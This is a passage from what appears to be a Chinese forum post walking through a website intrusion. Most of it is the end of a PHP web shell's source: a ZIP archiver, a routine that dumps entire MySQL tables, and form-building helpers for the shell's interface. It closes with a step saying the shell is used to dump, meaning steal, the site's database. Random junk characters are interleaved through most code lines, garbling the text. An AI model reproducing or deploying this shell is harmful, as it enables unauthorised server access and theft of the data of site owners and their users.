    2 J" q% I( d- W$ W0 a
  1704.                 return $a;  I' G; Z2 X! ~/ `8 g6 k4 ]' m
  1705.         }5 o% K  U  m) M- ~& B

  1706. 7 V3 U4 Z6 f7 q" b4 B
  1707.         var $datasec      = array();: [7 H( E& r) G6 J6 K# [& [" j
  1708.         var $ctrl_dir     = array();1 n# Q% d* g, u. X
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";% {4 Y$ U2 ]* H" s3 f
  1710.         var $old_offset   = 0;7 a& w1 ?' Q* d0 O
  1711. 9 T- S* N  z  U; q* V2 C1 P. G
  1712.         function unix2DosTime($unixtime = 0) {
    8 f; Z( {, y2 E4 z3 F  ^' i$ m
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);* D' V# T8 |5 A
  1714.                 if ($timearray['year'] < 1980) {) W' r1 K# e  D+ l0 Q+ O+ Y, g
  1715.                         $timearray['year']    = 1980;% \5 n: {2 x* ?0 Y4 }# J
  1716.                         $timearray['mon']     = 1;. X3 w  |" J, \* e9 t- N
  1717.                         $timearray['mday']    = 1;
    # D8 j; K; t/ K" B  O. d5 T
  1718.                         $timearray['hours']   = 0;- [" }! w' `5 i: Y8 x0 O  J
  1719.                         $timearray['minutes'] = 0;
    ' K9 ^1 L, l/ v/ P5 g6 B# b' F
  1720.                         $timearray['seconds'] = 0;5 x/ E7 B( I0 o6 M0 m
  1721.                 } // end if
    / s. |0 Y0 s8 k3 P
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |( x, z% x/ ]4 m! g2 ?0 Q
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);0 p+ M0 I3 m- p2 P1 {8 j
  1724.         }/ y+ o" k; b+ C  Z" u6 T* H
  1725.         function addFile($data, $name, $time = 0) {, k4 M' H. T; H9 m
  1726.                 $name = str_replace('\\', '/', $name);
    # f8 T$ p+ x; q: s( S! M6 C
  1727.                 $dtime = dechex($this->unix2DosTime($time));8 u$ V# M# r$ K2 s9 u, L  n2 L7 j# E* X
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
    # j  T* x, y0 H: i7 F+ o
  1729.                                         . '\x' . $dtime[4] . $dtime[5]( w. Q5 \+ Y) J  k3 ]
  1730.                                         . '\x' . $dtime[2] . $dtime[3]
    9 [$ c+ y; [0 P
  1731.                                         . '\x' . $dtime[0] . $dtime[1];8 _+ v) \; Q) R# C3 _# `
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');- J+ v" h6 N' @6 I+ C0 j* z
  1733.                 $fr        = "\x50\x4b\x03\x04";
    8 i3 ^  b9 O, p3 g
  1734.                 $fr        .= "\x14\x00";& S1 ]6 m* T; M! s2 `: }7 K
  1735.                 $fr        .= "\x00\x00";1 @0 I. p5 ^2 w4 |
  1736.                 $fr        .= "\x08\x00";
    ' }4 t1 L) H% Q& `
  1737.                 $fr        .= $hexdtime;$ H3 k6 ?( N8 q4 U
  1738.                 $unc_len = strlen($data);
    % e, U! Q4 c6 r# [8 ^
  1739.                 $crc = crc32($data);
    % H! }0 o: D" |- B2 e$ M
  1740.                 $zdata = gzcompress($data);* ~- M5 A5 W5 `
  1741.                 $c_len = strlen($zdata);  ~% ~$ i3 Q6 d, r, J8 A* g( M# ~
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
    4 h8 k) e5 \- D
  1743.                 $fr .= pack('V', $crc);
    0 h$ J3 u0 E4 z' G7 c
  1744.                 $fr .= pack('V', $c_len);' d: v' E( I, q( R& n/ _
  1745.                 $fr .= pack('V', $unc_len);" p8 W; }1 x0 u8 r7 p$ n. y
  1746.                 $fr .= pack('v', strlen($name));9 f: s0 Q9 X& j
  1747.                 $fr .= pack('v', 0);
    " ?) Y5 F, U/ A/ q- r3 ]$ ?" z. `& ?
  1748.                 $fr .= $name;! G7 b6 n7 {. U* V  `2 c$ F
  1749.                 $fr .= $zdata;: b9 _7 H, }6 Y' ^
  1750.                 $fr .= pack('V', $crc);; v% |( ^. }, M& [) t7 j
  1751.                 $fr .= pack('V', $c_len);
    % _+ X- `+ Q6 E4 C
  1752.                 $fr .= pack('V', $unc_len);7 v! o8 J) i& c) F( v5 ^0 h9 J
  1753.                 $this -> datasec[] = $fr;- O* J( g# o' y9 ^, b: t* `$ s
  1754.                 $new_offset = strlen(implode('', $this->datasec));( `% C& o7 j, K  ^$ p. I( _
  1755.                 $cdrec = "\x50\x4b\x01\x02";: V: w/ w2 z  e/ A
  1756.                 $cdrec .= "\x00\x00";
    9 A, Q7 K9 B4 o
  1757.                 $cdrec .= "\x14\x00";
    * E5 ^9 i1 i' v, i) C
  1758.                 $cdrec .= "\x00\x00";+ D7 A; J! D& c& u
  1759.                 $cdrec .= "\x08\x00";1 Y7 f4 o/ ]( T: A/ ^
  1760.                 $cdrec .= $hexdtime;* {1 w3 W5 `" w& \+ o
  1761.                 $cdrec .= pack('V', $crc);
    ' L& b/ m  D" q6 n8 e
  1762.                 $cdrec .= pack('V', $c_len);
    7 X% V4 Z& \9 N4 J
  1763.                 $cdrec .= pack('V', $unc_len);4 y/ T: w/ Q" j! o/ V
  1764.                 $cdrec .= pack('v', strlen($name) );
    8 \1 j. g6 D0 C! {$ J/ O0 r7 Y1 g$ {
  1765.                 $cdrec .= pack('v', 0 );# {- }/ [  n' Y+ b# t: ?) i+ ^
  1766.                 $cdrec .= pack('v', 0 );/ f8 U: ^5 D. K! u  C
  1767.                 $cdrec .= pack('v', 0 );# r* @. C) `. Z2 F" z) J
  1768.                 $cdrec .= pack('v', 0 );
    $ I: e& @2 P" E; ^6 Q3 x% E+ _
  1769.                 $cdrec .= pack('V', 32 );/ t+ v9 |5 _! m) [+ e8 Y# ]
  1770.                 $cdrec .= pack('V', $this -> old_offset );- @0 s$ b0 M, M
  1771.                 $this -> old_offset = $new_offset;; _9 X1 O- |% k1 ~6 v5 x
  1772.                 $cdrec .= $name;
    ) H9 k5 F! i* A  e8 H
  1773.                 $this -> ctrl_dir[] = $cdrec;+ e* F4 M2 R2 ]+ S
  1774.         }% I5 V3 y2 h9 {+ X6 o. @5 q
  1775.         function file() {& e; [' Y" P. [
  1776.                 $data    = implode('', $this -> datasec);0 v/ y) ^/ K4 J* e# F! v4 A. O: Z4 T
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);
    5 f. {3 q  p) j, Y/ u$ W8 D2 F  Z7 P/ P
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";: Z& t: A& ]1 x
  1779.         }' M" t7 U. {: y8 E! [3 U* n5 k3 S
  1780. }- }* Q, \; |: t! v+ c( g; f# [
  1781. // 备份数据库- _) \& ~, x3 l% o( I" P
  1782. function sqldumptable($table, $fp=0) {
    4 n' R6 I0 P+ V+ o, N- l: b
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    7 @# s+ H& s. V) N; j  `6 o- `5 G
  1784.         $tabledump .= "CREATE TABLE $table (\n";
    7 u: E& v+ B8 T* Q, u: F
  1785.         $firstfield=1;' c' h9 y5 g: J% }% ~
  1786.         $fields = q("SHOW FIELDS FROM $table");4 G( ]6 z7 x# |, U
  1787.         while ($field = mysql_fetch_array($fields)) {) B' q* U* t2 R0 f, F
  1788.                 if (!$firstfield) {
    # l2 _; X4 x- ^! g
  1789.                         $tabledump .= ",\n";* Z4 ?$ p- |% n
  1790.                 } else {$ ~7 Z. e4 y; m
  1791.                         $firstfield=0;
    ; p  B$ R1 A& Y1 @$ k8 {, P
  1792.                 }- w" t2 x2 A( K. v4 [$ G* L0 d& s
  1793.                 $tabledump .= "   $field[Field] $field[Type]";
    3 P: a" d) G5 Q
  1794.                 if (!empty($field["Default"])) {. z7 b8 R4 b( E, D- v
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";+ |0 d7 _( _9 s
  1796.                 }
    # Y+ h3 W" A& ?
  1797.                 if ($field['Null'] != "YES") {4 m) d, h0 n1 E3 w
  1798.                         $tabledump .= " NOT NULL";2 m, n; q+ q# p% O2 F' x) W
  1799.                 }! |+ @& g- V  s# \0 O5 H
  1800.                 if ($field['Extra'] != "") {
    ( q- j, ]& i: ^2 v
  1801.                         $tabledump .= " $field[Extra]";
    ( E1 S1 `8 i8 U# \, H
  1802.                 }' y4 u9 d. I' H- o7 ~/ C
  1803.         }
      ~8 Q7 q2 o- Z. A9 i6 Y
  1804.         fr($fields);- d6 m# W7 o, o9 E0 k% ~/ E
  1805.         $keys = q("SHOW KEYS FROM $table");
    ( c3 ~4 c8 f! F' b; B' s" Y+ S0 D
  1806.         while ($key = mysql_fetch_array($keys)) {, v& Y- W1 C- V5 O/ G& |* G5 H& s
  1807.                 $kname=$key['Key_name'];- R- O9 E3 h) X! v. N5 W
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {4 ^- u$ w1 Y5 _5 s& N" k5 M
  1809.                         $kname="UNIQUE|$kname";% _8 e6 b) X4 ~# U1 C& Q  L
  1810.                 }
    - U7 g. D7 [1 c) ]
  1811.                 if(!is_array($index[$kname])) {6 m! _& n4 Y  ~' p3 U
  1812.                         $index[$kname] = array();+ n5 p5 g# H  X, ?) O) }
  1813.                 }/ W0 m+ f1 \& ^# B8 q# H
  1814.                 $index[$kname][] = $key['Column_name'];$ L8 Z" \' s) H
  1815.         }
    9 O. d+ A; a! e' j9 s
  1816.         fr($keys);
    ( W: L( m0 x# G5 C- `
  1817.         while(list($kname, $columns) = @each($index)) {
    $ H& d8 J% }" s& B9 s& f7 R
  1818.                 $tabledump .= ",\n";
    4 v( j+ D) l, x- q9 B9 e7 O
  1819.                 $colnames=implode($columns,",");/ A  W) T# ^7 Y. ?4 e  d2 X
  1820.                 if ($kname == "PRIMARY") {
    - b3 ]) h' ~2 P' w, Y7 H
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";' i, t1 Q1 M  `1 A, Y$ ?
  1822.                 } else {5 i/ m* p' m, H9 J+ ?
  1823.                         if (substr($kname,0,6) == "UNIQUE") {
    - `/ p4 F7 L( u9 p" L5 `
  1824.                                 $kname=substr($kname,7);# p! `$ I& a, D7 e4 J
  1825.                         }
    $ _* C' @1 S0 Y# l7 q3 Q
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    9 [, C, s( D% L8 B* G1 M& W2 L+ J' C
  1827.                 }6 m' [, h/ ?* U3 W. s
  1828.         }& E: M+ I3 c0 ?+ `7 C+ r
  1829.         $tabledump .= "\n);\n\n";
    - R0 {" I4 [' u( Z
  1830.         if ($fp) {
    ( _0 e/ e) ^# j6 [4 S. l
  1831.                 fwrite($fp,$tabledump);3 }! R4 p! @# q( L" }; u" F: \! C
  1832.         } else {
    ) e6 R+ Q0 o& w; L( A" O8 p# ?
  1833.                 echo $tabledump;: p$ M) {5 T- q( ?" D, w1 H" t
  1834.         }- w' t- `  m% h/ {+ H
  1835.         $rows = q("SELECT * FROM $table");
    7 r& }) C( O- o4 N  r1 C$ G
  1836.         $numfields = mysql_num_fields($rows);
    , {8 f; J, ^  z+ k: p
  1837.         while ($row = mysql_fetch_array($rows)) {9 I- }, H( D5 F# c: Y" j- Y
  1838.                 $tabledump = "INSERT INTO $table VALUES(";
    ' a# Q. O7 k/ d6 K
  1839.                 $fieldcounter=-1;
    / y6 x' {' j( M5 Y! v+ ]5 R
  1840.                 $firstfield=1;
    1 i7 Y: A8 \/ V
  1841.                 while (++$fieldcounter<$numfields) {% ^) ~' `$ Q' _7 p( r
  1842.                         if (!$firstfield) {
    * A; x0 J& B7 |% [* c
  1843.                                 $tabledump.=", ";
    : e4 D. p0 R( Z3 J  w
  1844.                         } else {2 r5 v4 w& P2 b% J3 H5 f
  1845.                                 $firstfield=0;
    1 F7 X$ X+ O* n# ^6 V7 U
  1846.                         }0 c/ W- Q9 G3 L, E6 Q, H  C
  1847.                         if (!isset($row[$fieldcounter])) {  O! }9 X9 w; v* i* s
  1848.                                 $tabledump .= "NULL";
    ( g- C6 p1 `6 u" a3 `  I5 [  w; [
  1849.                         } else {
    0 l% o0 R: s/ M" J: }, v
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";) i: C- }$ U6 x8 F- \4 Z% ?. b
  1851.                         }
    9 v& s- u- O8 ~" J- X
  1852.                 }
    " e+ q  {* U$ E; i! L- b' l+ G
  1853.                 $tabledump .= ");\n";: D1 L. T5 Q3 F/ r; \
  1854.                 if ($fp) {, N; _( `; ^! I( t- A! H8 s
  1855.                         fwrite($fp,$tabledump);
    9 |% H3 M( ^! x& ^! e
  1856.                 } else {
      e' s7 e* ]' F4 @! P
  1857.                         echo $tabledump;
    ' t7 |! `! y4 p9 o. i- C
  1858.                 }
    6 I7 }$ ^) E0 I/ u4 d. U: I0 e* w# n  S
  1859.         }
    7 ]# D# Z5 D, q3 z( }, }# _& B
  1860.         fr($rows);
    + K2 c5 P2 K( P8 z$ R% r
  1861.         if ($fp) {
    , j0 b% G7 y2 J" u
  1862.                 fwrite($fp,"\n");9 ]$ H2 W6 J# J' @+ e0 H5 X
  1863.         } else {2 t* |( `4 Z0 [; w- w1 J; v7 x
  1864.                 echo "\n";
    7 I; \, b) m* X
  1865.         }
    * w& X, z$ y. [) M* C3 e+ Z. ?
  1866. }
    % a. t; Y' G+ f+ G' T, _
  1867. function ue($str){
    2 F, E! f0 \& P& N3 G
  1868.         return urlencode($str);
    5 m& Q( O) O* `3 c% v
  1869. }; [4 @- {# [- k  E$ i
  1870. function p($str){9 \, R+ R: p' ~2 X2 Z  ~
  1871.         echo $str."\n";& w4 W6 ^+ l: t' n( y7 y& [
  1872. }& q( [( |* i+ |- t* u1 z
  1873. function tbhead() {
    , K' R, g6 U& _) Z- n) c9 W
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');; C+ {& d1 f0 z6 `' W6 K8 q
  1875. }
    3 z3 U3 A. ]1 g$ a/ E
  1876. function tbfoot(){
    ! I' y: ]+ i1 u4 |- e# Z1 L" t
  1877.         p('</table>');
    ! U6 s5 s3 N; Q3 e. o0 m6 C5 o) n
  1878. }
    ( q( N- ?% ?2 a" O! R
  1879. function makehide($name,$value=''){
    8 F3 f8 f+ }+ R( j& }- J
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    6 S) _3 |- R2 j
  1881. }
    # }+ }1 ?  X  `" Y7 Y: \% o
  1882. function makeinput($arg = array()){
    5 d2 A% _3 g  E
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
    6 ]& a& p, r. \( Y4 x
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';8 ]: q' o+ L' @) R, O
  1885.         !$arg['type'] && $arg['type'] = 'text';; @. r" t  b% j6 `; G/ Z
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';+ W$ W/ J* k* K6 j
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    - I9 u6 y2 g+ T9 {1 A* w% H) z
  1888.         if ($arg['newline']) {( A* t0 h7 l+ A8 ~3 N! ?
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");2 m: t" H  M' E, ?" N# V' V. I
  1890.         } else {* R+ e6 l. _9 O4 N* U1 j; H4 n) e
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    " r( X$ @0 H/ }+ a6 C) V
  1892.         }
    ( \- M7 b( l' V% o: ^% Z$ K$ S
  1893. }/ f: U7 k5 D1 q
  1894. function makeselect($arg = array()){* L8 n, e' t. [( g' Y0 J' |+ j! l; E
  1895.         if ($arg['onchange']) {& Y. ?- i9 h; b" y
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';' V5 s$ r3 R. p( T( H
  1897.         }" [- q: v2 w0 b  g& F/ u$ J: d
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    + Q/ r! k9 x7 s! i+ k9 z
  1899.         if ($arg['newline']) p('<p>');6 E; T) B  @4 z
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");8 L  r+ S9 n! F: x
  1901.                 if (is_array($arg['option'])) {3 [3 W+ X* S2 y) N" ]2 X! v; S. U# X/ C
  1902.                         foreach ($arg['option'] as $key=>$value) {
    7 Q, t# }9 R, [, d2 e" L
  1903.                                 if ($arg['selected']==$key) {. O6 r6 ^5 t5 ?1 L
  1904.                                         p("<option value="$key" selected>$value</option>");
    + i! L6 E/ C4 b0 o
  1905.                                 } else {. ^6 I( \5 T4 i" f, ?) A" d
  1906.                                         p("<option value="$key">$value</option>");1 ~+ P6 \* i. f
  1907.                                 }
    9 ~9 u! M' d5 Z, }" U0 A+ K
  1908.                         }# R+ D5 i+ T2 K, C7 C; G
  1909.                 }
    2 O1 L/ r! A9 Y3 ]
  1910.         p("</select>");
    - d; p0 j% l/ m* Z4 `' f! F5 G
  1911.         if ($arg['newline']) p('</p>');
    / b  m* h7 R4 ?2 m. L6 \
  1912. }
    2 ?7 x* }4 ~+ T( {/ {7 b) W. B3 V
  1913. function formhead($arg = array()) {
    - a% J+ Z" X) a3 d: Q- h  _
  1914.         !$arg['method'] && $arg['method'] = 'post';
    2 {8 s3 z3 F4 I1 K
  1915.         !$arg['action'] && $arg['action'] = $self;; z  m7 K, f% A3 h5 ~; ^+ x! ^# ^
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
    3 [2 N* `/ e7 j& h7 |
  1917.         !$arg['name'] && $arg['name'] = 'form1';
      q7 O: e/ n' }
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");0 A" G+ A- \- w
  1919.         if ($arg['title']) {/ F% a8 t2 r+ L: [8 u
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
    8 T6 S- O0 }9 Q# K9 Z' P9 j
  1921.         }. a+ D5 J! ]& G$ S$ Y' n
  1922. }
    ( e; v; t0 Y& J+ t
  1923.        
    : [" Q1 q( P9 m9 I+ d  j( t
  1924. function maketext($arg = array()){2 t6 D  }+ I6 H2 S/ Z
  1925.         !$arg['cols'] && $arg['cols'] = 100;2 t* x  M$ l% v
  1926.         !$arg['rows'] && $arg['rows'] = 25;
    1 x$ X: r6 n) ~. O+ x8 y$ w. C
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    # q$ I8 ^+ ^6 f- o2 K
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");! f3 j* p+ y( d6 v
  1929. }
    ' b' W8 V& @# K& D" l

  1930. ' X" H2 V3 o, {. Y
  1931. function formfooter($name = ''){
    3 d0 U& M% O, \; e
  1932.         !$name && $name = 'submit';
    ! p  e* D% Y: s% h5 h
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');1 n+ j$ Z$ z8 p  E% H9 B1 v5 g
  1934.         p('</form>');' q9 I. `' S$ A. H( P
  1935. }* W% D4 x: Z. E: c2 u- v7 G

  1936. , n! P! ]$ P8 D1 V9 u7 o. l
  1937. function formfoot(){( f6 G  }3 |* I  X% x
  1938.         p('</form>');% \3 y2 Y/ V  {! P' [
  1939. }
    ' i9 {+ b, w* q2 U
  1940. " E/ M4 V  H0 X+ E5 w4 R7 A$ y
  1941. // 调试函数, }( t  y6 e% U8 i! `0 Y4 r/ |
  1942. function pr($a) {
    . ]+ a8 p: Q& K8 o4 v' t
  1943.         echo '<pre>';
    . ^) @; E7 m6 p1 z- I6 z7 G
  1944.         print_r($a);
    3 b. Y: G- A& L, [4 Z: c; k
  1945.         echo '</pre>';& \9 k5 x6 n. L; U; w1 u
  1946. }3 u* C( K) |5 s( J
  1947. 7 o5 U5 Z8 S: Q0 h5 }9 e' }
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
' p" @# o* t3 \$ F# H: N5 X0 ^

( i7 m1 \1 i  K

) ^. I% R/ q7 N5 [' f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2025-11-5 05:55 AM , Processed in 0.128985 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表